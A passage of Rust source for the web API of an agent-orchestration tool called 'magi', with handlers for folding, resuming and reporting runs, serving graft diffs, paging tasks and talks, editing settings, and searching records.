4510async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4511    let (id, state) = {
4512        let ui = Arc::clone(&ui);
4513        blocking(move || {
4514            let id = resolve_run(&ui.runs, &id)?;
4515            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4516                return Err(ApiError::conflict(format!(
4517                    "run {id} is being worked on by a live daemon right now"
4518                )));
4519            }
4520            let state = read_run(&ui.runs, &id).ok();
4521            Ok((id, state))
4522        })
4523        .await?
4524    };
4525    let removed = match state {
4526        Some(mut state) => {
4527            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4528                .await
4529                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4530            // Nothing left to remove is not the same thing as nothing left to
4531            // do — see `clean::clear_abandoned_active`'s own doc for the run
4532            // this exists for: worktrees already gone, but a killed process
4533            // left active seats nobody will ever answer for.
4534            if removed.is_empty() {
4535                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4536                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4537            }
4538            removed
4539        }
4540        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4541            .await
4542            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4543    };
4544    Ok(Json(FoldView {
4545        run: id,
4546        removed_count: removed.len(),
4547        removed,
4548    }))
4549}
4550
4551/// What a fold took away, so the deck can say so rather than only re-render.
4552#[derive(Debug, Serialize)]
4553struct FoldView {
4554    run: String,
4555    /// Worktree paths and branch names removed, in the order they went.
4556    removed: Vec<String>,
4557    removed_count: usize,
4558}
4559
4560/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4561/// merged outside of `land::land`'s own loop.
4562#[derive(Debug, Deserialize)]
4563struct FoldMergedBody {
4564    #[serde(default)]
4565    pr_url: String,
4566}
4567
4568/// `POST /api/runs/{id}/fold-merged`.
4569///
4570/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4571/// `Blocked` with `merge: null` because magi never got as far as opening a
4572/// pull request of its own (a title over GitHub's length limit, `gh pr
4573/// create` unreachable, a stale token), which the operator then finished by
4574/// hand on a pull request magi never recorded. The "Run actions" sheet used
4575/// to have no way to tell it about that pull request short of a terminal and
4576/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4577/// this exists and what it deliberately does not do (`bump::after_merge`).
4578///
4579/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4580/// correction rewrites the same `status`/`merge` fields a running graph would
4581/// be writing to on its own.
4582///
4583/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4584/// calls plus a fold, seconds of work, and the phone should get its answer
4585/// (which pull request it recorded, and what changed) in the same round
4586/// trip rather than learning it from the change stream.
4587async fn run_fold_merged(
4588    State(ui): State<Arc<Ui>>,
4589    Path(id): Path<String>,
4590    Json(body): Json<FoldMergedBody>,
4591) -> ApiResult<Json<FoldMergedView>> {
4592    let pr_url = body.pr_url.trim().to_owned();
4593    if pr_url.is_empty() {
4594        return Err(ApiError::bad_request("pr_url is required"));
4595    }
4596    let (id, mut state) = {
4597        let ui = Arc::clone(&ui);
4598        blocking(move || {
4599            let id = resolve_run(&ui.runs, &id)?;
4600            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4601                return Err(ApiError::conflict(format!(
4602                    "run {id} is being worked on by a live daemon right now"
4603                )));
4604            }
4605            let state = read_run(&ui.runs, &id)?;
4606            Ok((id, state))
4607        })
4608        .await?
4609    };
4610    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4611        .await
4612        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4613    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4614        .await
4615        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4616    Ok(Json(FoldMergedView {
4617        run: id,
4618        before: before.as_str().to_owned(),
4619        after: after.as_str().to_owned(),
4620        removed,
4621    }))
4622}
4623
4624/// What [`run_fold_merged`] did, so the deck can say so.
4625#[derive(Debug, Serialize)]
4626struct FoldMergedView {
4627    run: String,
4628    /// `status` before the correction — normally `"blocked"`.
4629    before: String,
4630    /// `status` after — normally `"merged"`.
4631    after: String,
4632    /// Worktree paths and branch names the trailing fold removed.
4633    removed: Vec<String>,
4634}
4635
4636/// `POST /api/runs/{id}/resume`.
4637///
4638/// Carry a stalled run on from where it stopped, in the background.
4639///
4640/// A stalled card says "the work is kept" and used to offer no way to act on
4641/// that: the candidates are built and paid for, and continuing means re-asking
4642/// only the seats whose absence collapsed the panel. The alternative an
4643/// operator actually had was releasing the task, which competes three fresh
4644/// implementations against work that already exists.
4645///
4646/// **202, not 200.** A resume runs agents for minutes; holding the connection
4647/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4648/// phone learns the outcome from the change stream.
4649///
4650/// Refused when the loop is running at all, not merely when it is on this run.
4651/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4652/// started a second graph on top of whatever the loop is already driving —
4653/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4654/// allows — would spend that quota twice over for no extra throughput.
4655async fn run_resume(
4656    State(ui): State<Arc<Ui>>,
4657    Path(id): Path<String>,
4658) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4659    let admission = ui.begin_admission()?;
4660    admitted(admission, async move {
4661        let (id, state) = {
4662            let ui = Arc::clone(&ui);
4663            blocking(move || {
4664                let id = resolve_run(&ui.runs, &id)?;
4665                let state = read_run(&ui.runs, &id)?;
4666                Ok((id, state))
4667            })
4668            .await?
4669        };
4670        crate::resume::validate_unqueued(&ui.home, &id)
4671            .map_err(|e| ApiError::conflict(e.to_string()))?;
4672        let _resume = ui.begin_resume(&id)?;
4673
4674        crate::resume::start(&ui.home, id.clone())
4675            .await
4676            .map_err(ApiError::from)?;
4677        // The same shape the list route returns, so the phone updates the card it
4678        // already has rather than learning a second schema for one button.
4679        let queued = RunSummary::of(
4680            &state,
4681            !ui.questions.open_for(&id).is_empty(),
4682            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4683        );
4684        Ok((StatusCode::ACCEPTED, Json(queued)))
4685    })
4686    .await
4687}
4688
4689async fn run_report(
4690    State(ui): State<Arc<Ui>>,
4691    Path(id): Path<String>,
4692) -> ApiResult<impl IntoResponse> {
4693    let text = blocking(move || {
4694        let id = resolve_run(&ui.runs, &id)?;
4695        // Colour is off for the whole process, set once in `serve`. Rendering
4696        // is CPU work over the full state, which is the other reason this is
4697        // not on the executor.
4698        let state = read_run(&ui.runs, &id)?;
4699        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4700        let live = state.liveness(daemon_claims);
4701        Ok(format!(
4702            "{}{}",
4703            report::run(&state),
4704            report::active_seats(&state, live)
4705        ))
4706    })
4707    .await?;
4708    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4709}
4710
4711/// The structured twin of [`run_report`]: the same state, as sections the UI
4712/// draws as cards. An unreadable run answers with the same error the text
4713/// route does; it is never turned into an empty report.
4714async fn run_report_json(
4715    State(ui): State<Arc<Ui>>,
4716    Path(id): Path<String>,
4717) -> ApiResult<Json<crate::report_view::RunReportView>> {
4718    let view = blocking(move || {
4719        let id = resolve_run(&ui.runs, &id)?;
4720        let state = read_run(&ui.runs, &id)?;
4721        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4722        // Only a record that lacks the structured details reads `artifacts/`.
4723        let recovered = state.graft.as_ref().map(|_| {
4724            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4725        });
4726        Ok(crate::report_view::build_with(
4727            &state,
4728            state.liveness(daemon_claims),
4729            recovered.as_ref(),
4730        ))
4731    })
4732    .await?;
4733    Ok(Json(view))
4734}
4735
4736/// Most of a graft diff the route returns.
4737const GRAFT_DIFF_MAX: usize = 400 * 1024;
4738/// How long `git diff` may run.
4739const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4740
4741/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4742/// come from the run record, never from the request.
4743async fn run_graft_diff(
4744    State(ui): State<Arc<Ui>>,
4745    Path(id): Path<String>,
4746) -> ApiResult<impl IntoResponse> {
4747    let (repo, pre, post) = blocking(move || {
4748        let id = resolve_run(&ui.runs, &id)?;
4749        let state = read_run(&ui.runs, &id)?;
4750        let g = state
4751            .graft
4752            .as_ref()
4753            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4754        let post = g
4755            .post
4756            .clone()
4757            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4758        Ok((state.repo.clone(), g.pre.clone(), post))
4759    })
4760    .await?;
4761    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4762    if !hex(&pre) || !hex(&post) {
4763        return Err(ApiError::not_found("the recorded commits are not valid"));
4764    }
4765    let out = tokio::time::timeout(
4766        GRAFT_DIFF_TIMEOUT,
4767        crate::git::git_raw(
4768            &repo,
4769            &[
4770                "diff",
4771                "--no-color",
4772                "--no-ext-diff",
4773                "-M",
4774                &pre,
4775                &post,
4776                "--",
4777            ],
4778        ),
4779    )
4780    .await
4781    .map_err(|_| ApiError::not_found("git diff timed out"))?
4782    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4783    if out.code != Some(0) {
4784        return Err(ApiError::not_found(
4785            "the recorded commits are no longer in the repository",
4786        ));
4787    }
4788    let mut body = out.stdout;
4789    if body.len() > GRAFT_DIFF_MAX {
4790        let mut cut = GRAFT_DIFF_MAX;
4791        while !body.is_char_boundary(cut) {
4792            cut -= 1;
4793        }
4794        body.truncate(cut);
4795        body.push_str("\n... diff truncated ...");
4796    }
4797    Ok((
4798        [
4799            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4800            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4801        ],
4802        body,
4803    ))
4804}
4805
4806/// A task as the UI sees it.
4807///
4808/// The whole task, plus the two things the client would otherwise have to
4809/// reimplement: the human-readable source and the status string. Nothing is
4810/// removed - the phone shows `last_error` and the run history verbatim.
4811#[derive(Debug, Serialize)]
4812struct TaskView {
4813    #[serde(flatten)]
4814    task: Task,
4815    source_label: String,
4816    source_link: Option<SourceLink>,
4817    status_str: &'static str,
4818    /// The instruction, parsed as markdown, for the Queue card's "Full
4819    /// instruction" panel. `task.instruction` is unchanged and still carries
4820    /// the raw text.
4821    instruction_md: Vec<md::Node>,
4822    /// For a blocked task, what it waits on with each dependency's state, e.g.
4823    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4824    /// recurses; empty for every other status.
4825    waits_on: Vec<String>,
4826    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4827    /// behind - non-empty means nothing in the loop will ever run it.
4828    stuck_roots: Vec<String>,
4829}
4830
4831impl From<Task> for TaskView {
4832    fn from(task: Task) -> Self {
4833        Self {
4834            source_label: task.source.label(),
4835            source_link: source_link(&task.source),
4836            status_str: task.status.as_str(),
4837            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4838            waits_on: Vec::new(),
4839            stuck_roots: Vec::new(),
4840            task,
4841        }
4842    }
4843}
4844
4845impl TaskView {
4846    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4847        let waits_on = inv.waits_on(&task);
4848        let stuck_roots = inv
4849            .stuck_roots(&task)
4850            .iter()
4851            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4852            .collect();
4853        Self {
4854            waits_on,
4855            stuck_roots,
4856            ..Self::from(task)
4857        }
4858    }
4859}
4860
4861/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
4862/// its absence, leaves the cache to decide.
4863#[derive(Debug, Default, Deserialize)]
4864#[serde(default)]
4865struct ReposQuery {
4866    refresh: u8,
4867}
4868
4869/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
4870/// listing `magi repos` prints at a terminal.
4871///
4872/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
4873/// so an edit to `magi.toml` takes effect without a restart, the same
4874/// reasoning [`config_for`] documents for the talk routes.
4875async fn repos_list(
4876    State(ui): State<Arc<Ui>>,
4877    Query(q): Query<ReposQuery>,
4878) -> ApiResult<Json<Vec<repos::Repo>>> {
4879    let refresh = q.refresh != 0;
4880    blocking(move || {
4881        let (cfg, _) = Config::discover(&ui.repo, None)?;
4882        Ok(Json(ui.repos_cache.list(
4883            &cfg.repos.roots,
4884            Duration::from_secs(cfg.repos.scan_ttl),
4885            refresh,
4886        )))
4887    })
4888    .await
4889}
4890
4891/// Optional context, restricted to the server's known checkouts.
4892#[derive(Debug, Default, Deserialize)]
4893struct SettingsQuery {
4894    repo: Option<PathBuf>,
4895}
4896
4897/// Always discover against the server's original context, never the selection.
4898/// If that config is broken, retain the default context and machine-only roots
4899/// so the settings error contract and recovery picker remain available.
4900fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4901    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4902        let paths: Vec<PathBuf> = ui
4903            .machine_config
4904            .iter()
4905            .filter(|p| p.is_file())
4906            .cloned()
4907            .collect();
4908        if paths.is_empty() {
4909            Ok(Config::autodetected())
4910        } else {
4911            Config::load_layers(&paths)
4912        }
4913    });
4914    let mut known = cfg
4915        .map(|cfg| {
4916            ui.repos_cache.list(
4917                &cfg.repos.roots,
4918                Duration::from_secs(cfg.repos.scan_ttl),
4919                refresh,
4920            )
4921        })
4922        .unwrap_or_default();
4923    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4924    if !known.iter().any(|r| r.path == path) {
4925        known.push(repos::Repo {
4926            name: path
4927                .file_name()
4928                .unwrap_or_default()
4929                .to_string_lossy()
4930                .into_owned(),
4931            path,
4932        });
4933    }
4934    known
4935}
4936
4937fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4938    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4939    let canonical = requested.canonicalize().ok();
4940    let mut known = settings_repositories(ui, false);
4941    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4942    if !known.iter().any(matches) {
4943        known = settings_repositories(ui, true);
4944    }
4945    let repo = known
4946        .iter()
4947        .find(|r| matches(r))
4948        .map(|r| r.path.clone())
4949        .ok_or_else(|| ApiError {
4950            text_reason: None,
4951            status: StatusCode::UNPROCESSABLE_ENTITY,
4952            message: "Choose a known repository from the Settings selector.".to_owned(),
4953        })?;
4954    Ok((repo, known))
4955}
4956
4957/// `GET /api/settings` - the effective role assignments and roster, with the
4958/// layer each came from. A config that fails to load answers 200 with an
4959/// `error`, so the screen can say so instead of drawing empty lists.
4960async fn settings_get(
4961    State(ui): State<Arc<Ui>>,
4962    Query(q): Query<SettingsQuery>,
4963) -> ApiResult<Json<settings::SettingsView>> {
4964    blocking(move || {
4965        let (repo, known) = settings_context(&ui, q)?;
4966        Ok(Json(settings::view_with_repos(
4967            &repo,
4968            ui.machine_config.as_deref(),
4969            &known,
4970        )))
4971    })
4972    .await
4973}
4974
4975/// The body of `PUT /api/settings/roles`.
4976#[derive(Debug, Deserialize)]
4977#[serde(deny_unknown_fields)]
4978struct RolesBody {
4979    /// The `revision` the client last read.
4980    revision: String,
4981    /// Role key to its new ids; an empty list resets the key to its default.
4982    #[serde(default)]
4983    roles: std::collections::BTreeMap<String, Vec<String>>,
4984    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4985    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4986    /// words (422) instead of as a deserialization error.
4987    #[serde(default)]
4988    counts: std::collections::BTreeMap<String, serde_json::Value>,
4989}
4990
4991/// `PUT /api/settings/roles` - save role assignments to the machine config.
4992///
4993/// The write target is `ui.machine_config` and nothing in the body can change
4994/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4995/// 422 with the reason in words.
4996async fn settings_put_roles(
4997    State(ui): State<Arc<Ui>>,
4998    Query(q): Query<SettingsQuery>,
4999    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5000) -> ApiResult<Json<settings::SettingsView>> {
5001    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5002    blocking(move || {
5003        let (repo, known) = settings_context(&ui, q)?;
5004        settings::save_with_repos(
5005            &repo,
5006            ui.machine_config.as_deref(),
5007            &body.revision,
5008            &body.roles,
5009            &body.counts,
5010            &known,
5011        )
5012        .map(Json)
5013        .map_err(|e| match e {
5014            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5015            settings::SaveError::Refused(m) => ApiError {
5016                text_reason: None,
5017                status: StatusCode::UNPROCESSABLE_ENTITY,
5018                message: m,
5019            },
5020            settings::SaveError::Internal(m) => ApiError::internal(m),
5021        })
5022    })
5023    .await
5024}
5025
5026async fn queue_list(
5027    State(ui): State<Arc<Ui>>,
5028    Query(q): Query<ListQuery>,
5029) -> ApiResult<Json<Vec<TaskView>>> {
5030    blocking(move || {
5031        let tasks = ui.queue.list();
5032        let inv =
5033            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5034        Ok(Json(
5035            tasks
5036                .into_iter()
5037                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5038                .map(|t| TaskView::with_inventory(t, &inv))
5039                .collect(),
5040        ))
5041    })
5042    .await
5043}
5044
5045/// Cursor pages read a bounded number of records, never the older transcripts
5046/// or instructions. Cursors advance through a frozen file-name snapshot,
5047/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5048/// Concurrent inserts are reconciled by a trailing store refresh.
5049#[derive(Debug, Default, Deserialize)]
5050struct PageQuery {
5051    before: Option<String>,
5052}
5053
5054#[derive(Serialize)]
5055struct StorePage<T> {
5056    rows: Vec<T>,
5057    next: Option<String>,
5058}
5059
5060const STORE_PAGE_SIZE: usize = 16;
5061
5062/// Freeze only membership for one bounded cursor walk. Statuses and bodies are
5063/// always read from disk; writes/deletions during the walk are reconciled by
5064/// the next store revision. Never rescan the entire directory for every page.
5065#[derive(Debug)]
5066struct ListWalk {
5067    token: u64,
5068    talks: bool,
5069    opened: std::time::Instant,
5070    ids: Arc<Vec<String>>,
5071}
5072
5073fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5074    let mut walks = ui
5075        .monitor
5076        .list_walks
5077        .lock()
5078        .unwrap_or_else(PoisonError::into_inner);
5079    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5080    let (token, ids, offset) = if let Some(cursor) = q.before {
5081        let (token, offset) = cursor
5082            .split_once(':')
5083            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5084        let token = token
5085            .parse::<u64>()
5086            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5087        let offset = offset
5088            .parse::<usize>()
5089            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5090        let walk = walks
5091            .iter()
5092            .find(|walk| walk.token == token && walk.talks == talks)
5093            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5094        (token, walk.ids.clone(), offset)
5095    } else {
5096        let root = if talks {
5097            ui.talks.root()
5098        } else {
5099            ui.queue.root()
5100        };
5101        let mut ids = crate::queue::record_ids(root, "json")?;
5102        ids.sort_unstable_by(|a, b| b.cmp(a));
5103        let ids = Arc::new(ids);
5104        let mut token = crate::rng::entropy();
5105        while walks.iter().any(|walk| walk.token == token) {
5106            token = crate::rng::entropy();
5107        }
5108        // Four clients can enumerate both stores and overlap a refresh. Bound
5109        // retained membership snapshots; an evicted cursor explicitly retries.
5110        if walks.len() >= 16 {
5111            walks.remove(0);
5112        }
5113        walks.push(ListWalk {
5114            token,
5115            talks,
5116            opened: std::time::Instant::now(),
5117            ids: ids.clone(),
5118        });
5119        (token, ids, 0)
5120    };
5121    if offset > ids.len() {
5122        return Err(ApiError::bad_request("Invalid list cursor"));
5123    }
5124    let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
5125    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5126    Ok((ids[offset..end].to_vec(), next))
5127}
5128
5129async fn queue_page(
5130    State(ui): State<Arc<Ui>>,
5131    Query(q): Query<PageQuery>,
5132) -> ApiResult<Json<StorePage<TaskView>>> {
5133    blocking(move || {
5134        let (ids, next) = page_ids(&ui, false, q)?;
5135        let tasks: Vec<_> = ids
5136            .into_iter()
5137            .filter_map(|id| ui.queue.get(&id).ok())
5138            .collect();
5139        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5140        let rows = tasks
5141            .into_iter()
5142            .map(|task| TaskView::with_inventory(task, &inv))
5143            .collect();
5144        Ok(Json(StorePage { rows, next }))
5145    })
5146    .await
5147}
5148
5149/// Fixed-size wire projection. Agent timestamps stay in the server index so
5150/// exact unread counts do not require sending an ever-growing turn list.
5151#[derive(Debug, Clone, Serialize)]
5152struct TalkListView {
5153    title: Option<talk::ChatTitle>,
5154    id: String,
5155    repo: PathBuf,
5156    agent: String,
5157    status: talk::TalkStatus,
5158    turns: Vec<TalkListTurn>,
5159    turn_count: usize,
5160    unread_count: usize,
5161    context: talk::ContextUsage,
5162    #[serde(skip)]
5163    agent_times: Vec<Timestamp>,
5164    thinking: bool,
5165    created_at: Timestamp,
5166    updated_at: Timestamp,
5167}
5168
5169#[derive(Debug, Clone, Serialize)]
5170struct TalkListTurn {
5171    who: talk::Who,
5172    at: Timestamp,
5173    body: String,
5174}
5175
5176fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5177    let reads: HashMap<String, Timestamp> = headers
5178        .get("x-talk-reads")
5179        .and_then(|v| v.to_str().ok())
5180        .and_then(|v| serde_json::from_str(v).ok())
5181        .unwrap_or_default();
5182    let mut index = ui
5183        .monitor
5184        .talk_index
5185        .lock()
5186        .unwrap_or_else(PoisonError::into_inner);
5187    // Bound memory independently of the number of conversations ever opened.
5188    if index.len() > 1000 {
5189        index.clear();
5190    }
5191    ids.into_iter()
5192        .filter_map(|id| {
5193            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5194            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5195                let talk = ui.talks.get(&id).ok()?;
5196                #[cfg(test)]
5197                ui.monitor
5198                    .talk_parses
5199                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5200                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5201                let last = talk.turns.len().checked_sub(1);
5202                let turns = talk
5203                    .turns
5204                    .iter()
5205                    .enumerate()
5206                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5207                    .map(|(_, t)| TalkListTurn {
5208                        who: t.who,
5209                        at: t.at,
5210                        body: t
5211                            .body
5212                            .lines()
5213                            .next()
5214                            .unwrap_or_default()
5215                            .chars()
5216                            .take(240)
5217                            .collect(),
5218                    })
5219                    .collect();
5220                let row = TalkListView {
5221                    title: talk.title.clone(),
5222                    agent_times: talk
5223                        .turns
5224                        .iter()
5225                        .filter(|t| t.who == talk::Who::Agent)
5226                        .map(|t| t.at)
5227                        .collect(),
5228                    turn_count: talk.turns.len(),
5229                    unread_count: 0,
5230                    context: talk::context_usage(&talk, None),
5231                    turns,
5232                    thinking: false,
5233                    id: talk.id,
5234                    repo: talk.repo,
5235                    agent: talk.agent,
5236                    status: talk.status,
5237                    created_at: talk.created_at,
5238                    updated_at: talk.updated_at,
5239                };
5240                index.insert(id.clone(), (identity, row));
5241            }
5242            let row = &index.get(&id)?.1;
5243            let mut row = TalkListView {
5244                title: row.title.clone(),
5245                unread_count: row
5246                    .agent_times
5247                    .iter()
5248                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5249                    .count(),
5250                agent_times: Vec::new(),
5251                id: row.id.clone(),
5252                repo: row.repo.clone(),
5253                agent: row.agent.clone(),
5254                status: row.status,
5255                context: row.context.clone(),
5256                turns: row.turns.clone(),
5257                turn_count: row.turn_count,
5258                thinking: false,
5259                created_at: row.created_at,
5260                updated_at: row.updated_at,
5261            };
5262            row.thinking = ui.is_thinking(&id);
5263            Some(row)
5264        })
5265        .collect()
5266}
5267
5268async fn talks_page(
5269    State(ui): State<Arc<Ui>>,
5270    Query(q): Query<PageQuery>,
5271    headers: header::HeaderMap,
5272) -> ApiResult<Json<StorePage<TalkListView>>> {
5273    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5274        let (ids, next) = page_ids(&ui, true, q)?;
5275        Ok(Json(StorePage {
5276            rows: talk_rows(&ui, ids, &headers),
5277            next,
5278        }))
5279    })
5280    .await
5281}
5282
5283async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5284    blocking(move || {
5285        let tasks = ui.indexed_tasks()?;
5286        Ok(Json(TaskCountsView::from(
5287            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5288        )))
5289    })
5290    .await
5291}
5292
5293/// Most hits one search returns. The rest are counted in `total`.
5294const SEARCH_MAX_HITS: usize = 100;
5295/// Longest query, in characters, and most terms it is split into.
5296const SEARCH_MAX_QUERY: usize = 200;
5297const SEARCH_MAX_TERMS: usize = 8;
5298/// Characters of context kept before the first hit, and after it.
5299const SNIPPET_BEFORE: usize = 50;
5300const SNIPPET_AFTER: usize = 110;
5301
5302/// `?scope=runs|tasks&q=...`
5303#[derive(Debug, Deserialize)]
5304struct SearchQuery {
5305    #[serde(default)]
5306    scope: String,
5307    #[serde(default)]
5308    q: String,
5309}
5310
5311/// One piece of a snippet. `hit` pieces are what matched; the client renders
5312/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5313#[derive(Debug, Serialize, PartialEq, Eq)]
5314struct SnippetPart {
5315    text: String,
5316    hit: bool,
5317}
5318
5319#[derive(Debug, Serialize)]
5320struct SearchHit {
5321    id: String,
5322    /// The name of the field the snippet was cut from.
5323    field: String,
5324    snippet: Vec<SnippetPart>,
5325    /// The run's list row, so the page can apply its state / section / repo
5326    /// filters to a hit outside the loaded window. Absent for tasks and for a
5327    /// run record the list view cannot read.
5328    #[serde(skip_serializing_if = "Option::is_none")]
5329    run: Option<RunSummary>,
5330}
5331
5332#[derive(Debug, Serialize)]
5333struct SearchView {
5334    scope: String,
5335    q: String,
5336    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5337    hits: Vec<SearchHit>,
5338    /// Every match, hits beyond the cap included.
5339    total: usize,
5340    truncated: bool,
5341    /// Runs whose `run.json` could not be parsed at all. They were not
5342    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5343    unreadable: usize,
5344}
5345
5346/// The text leaves of a JSON document, with the name of the field each sits
5347/// under. Keys and numbers are skipped: they are structure, not prose.
5348fn text_leaves<'a>(
5349    value: &'a serde_json::Value,
5350    field: &'a str,
5351    out: &mut Vec<(&'a str, &'a str)>,
5352) {
5353    match value {
5354        serde_json::Value::String(s) => out.push((field, s)),
5355        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5356        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5357        _ => {}
5358    }
5359}
5360
5361/// Lower-case one character without changing how many there are, so indices
5362/// in the lowered text are indices in the original.
5363fn fold_char(c: char) -> char {
5364    c.to_lowercase().next().unwrap_or(c)
5365}
5366
5367/// Split a query into its lower-cased terms.
5368fn search_terms(q: &str) -> Vec<String> {
5369    let mut terms: Vec<String> = Vec::new();
5370    for t in q.split_whitespace() {
5371        let t = t.to_lowercase();
5372        if !terms.contains(&t) {
5373            terms.push(t);
5374        }
5375    }
5376    terms
5377}
5378
5379/// Match `terms` (all of them, anywhere in the document) against the leaves
5380/// and cut a snippet around the first hit. `None` when a term is missing.
5381fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5382    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5383    let mut first: Option<usize> = None;
5384    for term in terms {
5385        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5386        first = Some(first.map_or(at, |f| f.min(at)));
5387    }
5388    // The leaf holding the earliest hit of any term is where the snippet is cut.
5389    let (field, text) = leaves[first?];
5390    Some(SearchHit {
5391        id: String::new(),
5392        field: field.to_owned(),
5393        snippet: snippet_of(text, terms),
5394        run: None,
5395    })
5396}
5397
5398/// A window of `text` around the first occurrence of any term, whitespace
5399/// collapsed, with every term occurrence inside the window marked.
5400fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5401    let chars: Vec<char> = text.chars().collect();
5402    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5403    let needles: Vec<Vec<char>> = terms
5404        .iter()
5405        .map(|t| t.chars().map(fold_char).collect())
5406        .collect();
5407    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5408        let mut best: Option<(usize, usize)> = None;
5409        for n in needles.iter().filter(|n| !n.is_empty()) {
5410            // `to` bounds where a match may start; it may run past `to` (the
5411            // caller clips what it shows). A term longer than the field cannot
5412            // occur in it (it may live in another leaf of the document).
5413            if n.len() > chars.len() || to == 0 {
5414                continue;
5415            }
5416            let last = (to - 1).min(chars.len() - n.len());
5417            if from > last {
5418                continue;
5419            }
5420            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5421                && best.is_none_or(|(b, _)| i < b)
5422            {
5423                best = Some((i, i + n.len()));
5424            }
5425        }
5426        best
5427    };
5428    let Some((start, _)) = find(0, chars.len()) else {
